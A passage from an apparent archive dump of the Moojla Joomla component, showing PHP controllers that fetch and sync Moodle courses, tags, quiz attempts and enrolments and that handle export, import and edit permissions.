$coursecustomfieldsmapp = $db->loadObjectList();
dump($query->__toString(), "query");
$mapper = array();
foreach($coursecustomfieldsmapp as $cm)
{
$mapper[substr($cm->mcoursefields, 3)] = array('name'
=> $cm->fieldName, 'title' => $cm->fieldTitle,
'img' => $cm->field_icon) ;
}
dump($mapper, "mapper");
foreach($coursecustomfields as $cc)
{
if(isset($mapper[$cc->shortname]))
{
$mapper[$cc->shortname]['value'] = $cc->value;
}
}
dump($mapper, "mapper");
*//***[/JCBGUI$$$$]***/
return;
}
}
controllers/courses.php000064400000064172151165724360011332
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage courses.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Courses Controller
*/
class MoojlaControllerCourses extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_COURSES';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Course', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
public function exportData()
{
// Check for request forgeries
JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
// check if export is allowed for this user.
$user = JFactory::getUser();
if ($user->authorise('course.export',
'com_moojla') &&
$user->authorise('core.export', 'com_moojla'))
{
// Get the input
$input = JFactory::getApplication()->input;
$pks = $input->post->get('cid', array(),
'array');
// Sanitize the input
$pks = ArrayHelper::toInteger($pks);
// Get the model
$model = $this->getModel('Courses');
// get the data to export
$data = $model->getExportData($pks);
if (MoojlaHelper::checkArray($data))
{
// now set the data to the spreadsheet
$date = JFactory::getDate();
MoojlaHelper::xls($data,'Courses_'.$date->format('jS_F_Y'),'Courses
exported ('.$date->format('jS F,
Y').')','courses');
}
}
// Redirect to the list screen with error.
$message = JText::_('COM_MOOJLA_EXPORT_FAILED');
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=courses',
false), $message, 'error');
return;
}
public function importData()
{
// Check for request forgeries
JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
// check if import is allowed for this user.
$user = JFactory::getUser();
if ($user->authorise('course.import',
'com_moojla') &&
$user->authorise('core.import', 'com_moojla'))
{
// Get the import model
$model = $this->getModel('Courses');
// get the headers to import
$headers = $model->getExImPortHeaders();
if (MoojlaHelper::checkObject($headers))
{
// Load headers to session.
$session = JFactory::getSession();
$headers = json_encode($headers);
$session->set('course_VDM_IMPORTHEADERS', $headers);
$session->set('backto_VDM_IMPORT', 'courses');
$session->set('dataType_VDM_IMPORTINTO',
'course');
// Redirect to import view.
$message =
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE_FOR_COURSES');
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=import',
false), $message);
return;
}
}
// Redirect to the list screen with error.
$message = JText::_('COM_MOOJLA_IMPORT_FAILED');
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=courses',
false), $message, 'error');
return;
}
/***[JCBGUI.admin_view.php_controller_list.129.$$$$]***/
function uni2persian($uni_str)
{
//strpos
preg_match_all('/\\\u[[:xdigit:]]{4}/', $uni_str, $matches);
if(isset($matches[0]) && $matches)
{
foreach($matches[0] as $word)
{
$p = strpos($uni_str, $word);
$new="&#x".substr($uni_str,$p+2,4).";";
$txt = html_entity_decode("$new", ENT_COMPAT,
"UTF-8");
$uni_str = str_replace($word, $txt, $uni_str);
}
}
return $uni_str;
}
function fetchCourses()
{
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/course.php";
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$user = JFactory::getUser();
$dataObj = array(
"wsfunction" =>
"moojla_get_course_categories",
"moodlewsrestformat" => "json",
);
$course_cats =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
$catidmap = array();
foreach($course_cats as $cc)
{
if($cc->depth == 1)
{
$parent_name = '';
}
else
{
$path = ltrim($cc->path, '/');
$path = explode('/', $path);
$mparent_id = $path[$cc->depth - 2];
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query
->select(array('c.title'))
->from($db->quoteName('#__moojla_category_map',
'cm'))
->join('INNER',
$db->quoteName('#__categories', 'c') . ' ON
' . $db->quoteName('c.id') . ' = ' .
$db->quoteName('cm.jcatid'))
->where($db->quoteName('c.extension') . ' =
' . $db->quote('com_moojla.course'))
->where($db->quoteName('cm.mcatid') . ' =
' . $db->quote($mparent_id))
->where($db->quoteName('cm.published') . ' =
1');
$db->setQuery($query);
$parent_name = $db->loadResult();
}
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$args = array($cc->name, $cc->id, $parent_name,
$cc->description);
$catidmap[$cc->id] =
$dispatcher->trigger("createMoojlaCategory", $args)[0];
}
$dataObj = array(
"wsfunction" =>
"moojla_get_courses",
"moodlewsrestformat" => "json",
);
$coursesReq = MoojlaHelper::sendRequestToMoodle($dataObj);
$courses = json_decode($coursesReq->response);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('id, remoteid');
$query->from($db->quoteName('#__moojla_course'));
$db->setQuery($query);
$moojla_courses = $db->loadObjectList('remoteid');
$courses = array_filter($courses, function($v)
use(&$moojla_courses){
return empty($moojla_courses[$v->id]);
});
// dump(array_values($courses),'the courses that to be
saved');
$check = true;
if(is_object($courses))
{
if(property_exists($courses, 'exception') &&
$courses->exception)
$check = false;
}
if ($check) {
$updateCount = 0;
$createCount = 0;
$sample_size = count($courses);
$chunk_size = 10;
foreach ($courses as $c) {
if (!trim($c->shortname))
continue;
$course = array();
$course["shortname"] = stripslashes($c->shortname);
$course["fullname"] = stripslashes($c->fullname);
$course["cat_name"] = stripslashes($c->categoryname);
$course["cat_id"] = stripslashes($c->categoryid);
$course["summary"] =
stripslashes($this->uni2persian(stripslashes($c->summary)));
$course["summary_files"] =
stripslashes($this->uni2persian(stripslashes($c->imgurl)));
$course["teachers"] =
$this->uni2persian(stripslashes(json_encode($c->teachers)));
$course["startdate"] = $c->startdate;
$course["endtdate"] = property_exists($c,
'endtdate') ? $c->endtdate : 0;
$course["in_enrol_date"] = $c->in_enrol_date;
$course["self_enrolment"] = $c->self_enrolment;
$course["remoteid"] = $c->id;
$course["currency"] = $c->currency;
$course["cost"] = $c->cost;
$course["created_by"] = $user->id;
$course["guest"] = $c->guest;
$course["catid"] =
$catidmap[$course["cat_id"]];
/*$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id',
'permanent_fields')))
->from($db->quoteName('#__moojla_course'))
->where($db->quoteName('remoteid') . ' =
' . $db->quote($course["remoteid"]));
$db->setQuery($query);
$result = $db->loadAssocList();*/
/*if (current($result)["id"]) {
$course["id"] = current($result)["id"]; //
for update rows
if (current($result)["permanent_fields"] !=
"") {
$permanent_fields =
json_decode(current($result)["permanent_fields"], true);
foreach ($permanent_fields as $field) {
unset($course[$field]);
}
$course["permanent_fields"] =
current($result)["permanent_fields"];
}
$updateCount += 1;
} else {*/
$createCount += 1;
/*}*/
$courseModel = new MoojlaModelCourse;
$courseModel->save($course);
$customfields = $c->customfields;
$cfs = array();
foreach ($customfields as $index => $cf) {
$cfs['cm_' . $cf->shortname] = $cf->value;
}
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query
->select(array('cf.coursefield',
'cf.mcoursefields', 'f.name'))
->from($db->quoteName('#__moojla_course_field_mapper',
'cf'))
->join('INNER',
$db->quoteName('#__fields', 'f') . ' ON '
. $db->quoteName('f.id') . ' = ' .
$db->quoteName('cf.coursefield'))
->where($db->quoteName('f.context') . ' =
' . $db->quote('com_moojla.course'))
->where($db->quoteName('cf.published') . ' =
1');
$db->setQuery($query);
$mappings = $db->loadRowList(1);
$itemId = $courseModel->getItem()->id;
foreach ($mappings as $index => $mapping) {
$fieldId = $mapping[0];
$value = $cfs[$index];
define('JPATH_COMPONENT', JPATH_ADMINISTRATOR);
$courseModel->setFieldValue($fieldId, $itemId, $value);
}
$params = JComponentHelper::getParams('com_moojla');
$fetch_course_contents =
$params->get('fetch_course_contents', 0);
if ($fetch_course_contents == 1) {
$dataObj = array(
"wsfunction" =>
"moojla_get_course_contents",
"moodlewsrestformat" => "json",
"courseid" => $course["remoteid"]
);
$sections =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
MoojlaHelper::updateCourseContents($sections,
$course["remoteid"]);
}
}
$app = JFactory::getApplication();
$message =
JText::_('COM_MOOJLA_COM_MOOJLA_COMPLETELY_FETCHED'); //
translate_need
if ($updateCount != 0) {
$message .= '<br>' . $updateCount . ' ' .
JText::_('COM_MOOJLA_COM_MOOJLA_COURSES_UPDATED'); //
translate_need
}
if ($createCount != 0) {
$message .= '<br>' . $createCount . ' ' .
JText::_('COM_MOOJLA_COM_MOOJLA_COURSES_CREATED'); //
translate_need
}
}
else {
$app = JFactory::getApplication();
$message =
JText::_('COM_MOOJLA_COM_MOOJLA_FETCHING_ERROR'); //
translate_need
$message .= '<br>' . $courses->exception;
$message .= '<br>' . $courses->errorcode;
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'error');
return false;
}
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'message');
return true;
}
function updateCourse()
{
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/course.php";
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$cid = $this->input->get('cid', array(),
'array');
$cid = ArrayHelper::toInteger($cid);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('remoteid')));
$query->from($db->quoteName('#__moojla_course'));
$query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid ) . ')');
$db->setQuery($query);
$results = $db->loadColumn();
$dataObj = array(
"wsfunction" =>
"moojla_get_courses",
"moodlewsrestformat" => "json",
"options" => array(
"ids" => $results
)
);
$coursesReq = MoojlaHelper::sendRequestToMoodle($dataObj);
$courses = json_decode($coursesReq->response);
if(!$courses->exception)
{
$updateCount = 0;
$user = JFactory::getUser();
foreach($courses as $index => $c)
{
if(!trim($c->shortname))
continue;
$course = array();
$course["shortname"] = stripslashes($c->shortname);
$course["fullname"] = stripslashes($c->fullname);
$course["cat_name"] =
stripslashes($c->categoryname);
$course["cat_id"] = stripslashes($c->categoryid);
$course["summary"] =
stripslashes($this->uni2persian(stripslashes($c->summary)));
$course["summary_files"] =
stripslashes($this->uni2persian(stripslashes($c->imgurl)));
$course["teachers"] =
$this->uni2persian(stripslashes(json_encode($c->teachers)));
$course["startdate"] = $c->startdate;
$course["endtdate"] = $c->endtdate;
$course["in_enrol_date"] = $c->in_enrol_date;
$course["self_enrolment"] = $c->self_enrolment;
$course["remoteid"] = $c->id;
$course["currency"] = $c->currency;
$course["cost"] = $c->cost;
$course["created_by"] = $user->id;
$course["guest"] = $c->guest;
$course["published"] = $c->visible;
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id',
'permanent_fields')))
->from($db->quoteName('#__moojla_course'))
->where($db->quoteName('remoteid') . ' =
' . $db->quote($course["remoteid"]));
$db->setQuery($query);
$result = $db->loadAssocList();
if(current($result)["id"])
{
$course["id"] = current($result)["id"]; //
for update rows
if(current($result)["permanent_fields"] !=
"")
{
$permanent_fields =
json_decode(current($result)["permanent_fields"], true);
foreach($permanent_fields as $field)
{
unset($course[$field]);
}
$course["permanent_fields"] =
current($result)["permanent_fields"];
}
$updateCount += 1;
}
else
{
$createCount += 1;
}
$courseModel = new MoojlaModelCourse;
$courseModel->save($course);
$customfields = $c->customfields;
$cfs = array();
foreach($customfields as $index => $cf)
{
$cfs['cm_' . $cf->shortname] = $cf->value;
}
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query
->select(array('cf.coursefield',
'cf.mcoursefields', 'f.name'))
->from($db->quoteName('#__moojla_course_field_mapper',
'cf'))
->join('INNER',
$db->quoteName('#__fields', 'f') . ' ON '
. $db->quoteName('f.id') . ' = ' .
$db->quoteName('cf.coursefield'))
->where($db->quoteName('f.context') . ' =
' . $db->quote('com_moojla.course'))
->where($db->quoteName('cf.published') . ' =
1');
$db->setQuery($query);
$mappings = $db->loadRowList(1);
// $itemId = $courseModel->getItem()->id;
$itemId = current($result)["id"];
foreach($mappings as $index => $mapping)
{
$fieldId = $mapping[0];
$value = $cfs[$index];
define('JPATH_COMPONENT', JPATH_ADMINISTRATOR);
$courseModel->setFieldValue($fieldId, $itemId, $value);
}
$params = JComponentHelper::getParams('com_moojla');
$fetch_course_contents=
$params->get('fetch_course_contents', 0);
if($fetch_course_contents == 1)
{
$dataObj = array(
"wsfunction" =>
"moojla_get_course_contents",
"moodlewsrestformat" => "json",
"courseid" => $course["remoteid"]
);
$sections =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
//dump($sections, "sections");
MoojlaHelper::updateCourseContents($sections,
$course["remoteid"]);
}
}
$message =
JText::_('COM_MOOJLA_COM_MOOJLA_COMPLETELY_FETCHED'); //
translate_need
if($updateCount != 0)
{
$message .= '<br>' . $updateCount . ' ' .
JText::_('COM_MOOJLA_COM_MOOJLA_COURSES_UPDATED'); //
translate_need
}
if($createCount != 0)
{
$message .= '<br>' . $createCount . ' ' .
JText::_('COM_MOOJLA_COM_MOOJLA_COURSES_CREATED'); //
translate_need
}
// dump($courses, "courses");
}
else
{
$app = JFactory::getApplication();
$message =
JText::_('COM_MOOJLA_COM_MOOJLA_FETCHING_ERROR'); //
translate_need
$message .= '<br>' . $courses->exception;
$message .= '<br>' . $courses->errorcode;
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'error');
return false;
}
$app = JFactory::getApplication();
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'message');
return true;
}
function goToSections()
{
$app = JFactory::getApplication();
$app->redirect(JRoute::_("index.php?option=com_moojla&view=sections",
false));
return true;
}
function goToModules()
{
$app = JFactory::getApplication();
$app->redirect(JRoute::_("index.php?option=com_moojla&view=modules",
false));
return true;
}
function goToContents()
{
$app = JFactory::getApplication();
$app->redirect(JRoute::_("index.php?option=com_moojla&view=contents",
false));
return true;
}
function syncTags()
{
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/tag_instance.php";
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/tag.php";
require_once JPATH_ADMINISTRATOR .
"/components/com_tags/models/tag.php";
require_once JPATH_ADMINISTRATOR .
"/components/com_tags/tables/tag.php";
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$cid = $this->input->get('cid', array(),
'array');
$cid = ArrayHelper::toInteger($cid);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('remoteid')));
$query->from($db->quoteName('#__moojla_course'));
$query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid ) . ')');
$db->setQuery($query);
$remoteids = $db->loadColumn();
$dataObj = array(
"wsfunction" =>
"moojla_get_course_tags",
"moodlewsrestformat" => "json",
);
foreach($remoteids as $id)
{
$dataObj['courseids'][] = array('id' => $id);
}
// dump($dataObj, "dataObj");
$coursesReq = MoojlaHelper::sendRequestToMoodle($dataObj);
$tags = json_decode($coursesReq->response);
$unique_tags = array();
$unique_tags_id = array();
foreach($tags as $tag)
{
if(!in_array(array('tagid' => $tag->tagid,
'tagname' => $tag->tagname, 'isstandard' =>
$tag->isstandard), $unique_tags))
{
$unique_tags[] = array('tagid' => $tag->tagid,
'tagname' => $tag->tagname, 'isstandard' =>
$tag->isstandard);
$unique_tags_id[] = $tag->tagid;
}
}
$tag_row_ids = array();
if(!empty($unique_tags_id))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id',
'tagid','tagname')));
$query->from($db->quoteName('#__moojla_tag'));
$query->where($db->quoteName('tagid') . ' IN
(' . implode(',', $unique_tags_id ) . ')');
$db->setQuery($query);
$tag_row_ids = $db->loadAssocList('tagid');
}
foreach($unique_tags as $ut)
{
$tagObj = array();
$tagObj["tagid"] = $ut['tagid'];
$tagObj["tagname"] = $ut['tagname'];
$tagObj["isstandard"] = $ut['isstandard'];
if(isset($tag_row_ids[$ut['tagid']]))
{
$tagObj["id"] =
$tag_row_ids[$ut['tagid']]['id'];
if($ut['tagname'] !=
$tag_row_ids[$ut['tagid']]['tagname'])
{
$db= JFactory::getDbo();
$query= $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__tags',''))
->where($db->quoteName('title').'='.$db->quote($tag_row_ids[$ut['tagid']]['tagname']));
$db->setQuery($query);
$result= $db->loadObject();
$tagModel= new TagsModelTag;
$tagModel->save(['title'=>$ut['tagname'],'alias'=>$ut['tagname'],'id'=>$result->id]);
}
}
$tagModel = new MoojlaModelTag();
$tagModel->save($tagObj);
}
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id',
'moojlacourse', 'moodletag')));
$query->from($db->quoteName('#__moojla_tag_instance'));
$query->where($db->quoteName('moojlacourse') . '
IN (' . implode(',', $remoteids ) . ')');
$db->setQuery($query);
$tag_instances = $db->loadAssocList();
foreach($tags as $tag)
{
$tagins = array();
foreach($tag_instances as $ti)
{
if($ti['moodletag'] == $tag->tagid &&
$ti['moojlacourse'] == $tag->courseid)
{
$tagins['id'] = $ti['id'];
break;
}
}
$tagins['moodletag'] = $tag->tagid;
$tagins['moojlacourse'] = $tag->courseid;
$tagincModel = new MoojlaModelTag_instance();
if(!$tagincModel->save($tagins))
{
//dump($tagincModel->getError(), "error");
}
}
$app = JFactory::getApplication();
$message .= 'tag fetched'; // need translate
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'success');
}
function fetchQuizAttempts()
{
$quizType = $this->input->get('quizType', '',
'string');
$cids = $this->input->get('quizzes_list', array(),
'array');
$cids = ArrayHelper::toInteger($cids);
$finalres = array();
foreach($cids as $cid)
{
$dataObj = array(
"wsfunction"
=> "get_{$quizType}_result",
"moodlewsrestformat" => "json",
"quizid" => $cid
);
// print_r($dataObj);
$results =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
// print_r($results);
foreach($results as $result)
{
JPluginHelper::importPlugin("moojlaquiz");
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger("addQuizAttempt",
array($quizType, $result, $cid));
}
$finalres[] = $results;
}
echo json_encode($finalres);
die();
}
function getCalendarEvents()
{
$json = '[{"title": "جشن
تولد","start":
"2021-03-13T07:00:00"},{"title": "کلیک
برای باز کردن گوگل","url":
"http://google.com/","start":
"2021-03-28"}]';
echo $json;
die();
}
function migrateFromJoomdle()
{
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/course.php";
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$cid = $this->input->get('cid', array(),
'array');
$cid = ArrayHelper::toInteger($cid);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('remoteid')));
$query->from($db->quoteName('#__moojla_course'));
$query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid ) . ')');
$db->setQuery($query);
$remoteids = $db->loadColumn();
$counter = 0;
foreach($remoteids as $remoteid)
{
$dataObj = array(
"wsfunction"
=> "moojla_migrate_enrolment_method",
"moodlewsrestformat" => "json",
"courseid" => $remoteid
);
$results =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
if($results->status)
$counter += 1;
}
$message =
JText::sprintf('COM_MOOJLA_S_COURSES_MIGRATED_SUCCESSFULLY',
$counter);
$app = JFactory::getApplication();
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'message');
}
function fetchMoojlaEnrolment()
{
$cid = $this->input->get('cid', array(),
'array');
$cid = ArrayHelper::toInteger($cid);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('remoteid')));
$query->from($db->quoteName('#__moojla_course'));
$query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid ) . ')');
$db->setQuery($query);
$remoteids = $db->loadColumn();
$ids = array();
foreach($remoteids as $remoteid)
{
$ids[] = ['id' => $remoteid];
}
$dataObj = array(
"wsfunction"
=> "moojla_trigger_update_enrolment_method",
"moodlewsrestformat" => "json",
"courseids" => $ids
);
$results =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response,
true);
$outputs = array_column($results, 'status');
$updated = array_sum($outputs);
$app = JFactory::getApplication();
$message = "";
$message .= $updated;
$message .= ' enrolment method fetched'; // need translate
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'success');
}
/***[/JCBGUI$$$$]***/
}
controllers/course_fields_mapper.php000064400000010516151165724360014032
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_fields_mapper.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Course_fields_mapper Controller
*/
class MoojlaControllerCourse_fields_mapper extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_COURSE_FIELDS_MAPPER';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Course_field_mapper', $prefix
= 'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
public function exportData()
{
// Check for request forgeries
JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
// check if export is allowed for this user.
$user = JFactory::getUser();
if ($user->authorise('course_field_mapper.export',
'com_moojla') &&
$user->authorise('core.export', 'com_moojla'))
{
// Get the input
$input = JFactory::getApplication()->input;
$pks = $input->post->get('cid', array(),
'array');
// Sanitize the input
$pks = ArrayHelper::toInteger($pks);
// Get the model
$model = $this->getModel('Course_fields_mapper');
// get the data to export
$data = $model->getExportData($pks);
if (MoojlaHelper::checkArray($data))
{
// now set the data to the spreadsheet
$date = JFactory::getDate();
MoojlaHelper::xls($data,'Course_fields_mapper_'.$date->format('jS_F_Y'),'Course
fields mapper exported ('.$date->format('jS F,
Y').')','course fields mapper');
}
}
// Redirect to the list screen with error.
$message = JText::_('COM_MOOJLA_EXPORT_FAILED');
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=course_fields_mapper',
false), $message, 'error');
return;
}
public function importData()
{
// Check for request forgeries
JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
// check if import is allowed for this user.
$user = JFactory::getUser();
if ($user->authorise('course_field_mapper.import',
'com_moojla') &&
$user->authorise('core.import', 'com_moojla'))
{
// Get the import model
$model = $this->getModel('Course_fields_mapper');
// get the headers to import
$headers = $model->getExImPortHeaders();
if (MoojlaHelper::checkObject($headers))
{
// Load headers to session.
$session = JFactory::getSession();
$headers = json_encode($headers);
$session->set('course_field_mapper_VDM_IMPORTHEADERS',
$headers);
$session->set('backto_VDM_IMPORT',
'course_fields_mapper');
$session->set('dataType_VDM_IMPORTINTO',
'course_field_mapper');
// Redirect to import view.
$message =
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE_FOR_COURSE_FIELDS_MAPPER');
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=import',
false), $message);
return;
}
}
// Redirect to the list screen with error.
$message = JText::_('COM_MOOJLA_IMPORT_FAILED');
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=course_fields_mapper',
false), $message, 'error');
return;
}
}
controllers/course_field_mapper.php000064400000020543151165724360013650
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_field_mapper.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Course_field_mapper Controller
*/
class MoojlaControllerCourse_field_mapper extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Course_fields_mapper'; // safeguard for
setting the return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// Access check.
$access = $user->authorise('course_field_mapper.access',
'com_moojla');
if (!$access)
{
return false;
}
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.course_field_mapper.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.course_field_mapper.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Course_field_mapper',
'', array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=course_fields_mapper'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
